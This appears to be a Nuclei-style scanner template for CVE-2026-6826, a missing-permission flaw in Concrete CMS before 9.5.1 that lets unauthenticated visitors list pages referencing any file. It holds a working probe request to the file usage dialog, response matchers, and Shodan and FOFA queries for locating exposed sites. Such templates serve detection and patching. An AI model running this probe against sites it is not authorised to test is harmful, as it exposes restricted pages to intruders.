Concrete CMS <9.5.1 - Unauthenticated File Usage Disclosure

id: CVE-2026-6826

info:
  name: Concrete CMS <9.5.1 - Unauthenticated File Usage Disclosure
  author: str4k3r
  severity: medium
  description: |
    Concrete CMS 9.5.0 and below  is vulnerable to unauthenticated file usage disclosure via missing permission check in the usage controller.
  impact: |
    Any unauthenticated visitor can request /ccm/system/dialogs/file/usage/{fID} with any file ID and receive a list of every page that references that file, including page IDs, handles, and full URLs. This includes pages that are otherwise restricted by permissions.
  remediation: |
    Update to the latest version beyond 9.5.0.
  reference:
    - https://documentation.concretecms.org/9-x/developers/introduction/version-history/951-release-notes
    - https://www.concretecms.org/security
    - https://nvd.nist.gov/vuln/detail/CVE-2026-6826
    - https://vulnerability.circl.lu/vuln/cve-2026-6826
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
    cvss-score: 6.9
    cve-id: CVE-2026-6826
    epss-score: 0.0025
    epss-percentile: 0.16533
    cwe-id: CWE-862
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.component:"Concrete CMS"
    fofa-query: app="Concrete-CMS"
  tags: cve,cve2026,concretecms,concrete,disclosure,unauth,idor

http:
  - method: GET
    path:
      - "{{BaseURL}}/ccm/system/dialogs/file/usage/1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'ccm-ui'
          - 'Page ID'
          - 'Handle'
          - 'Location'
        condition: and

      - type: status
        status:
          - 200
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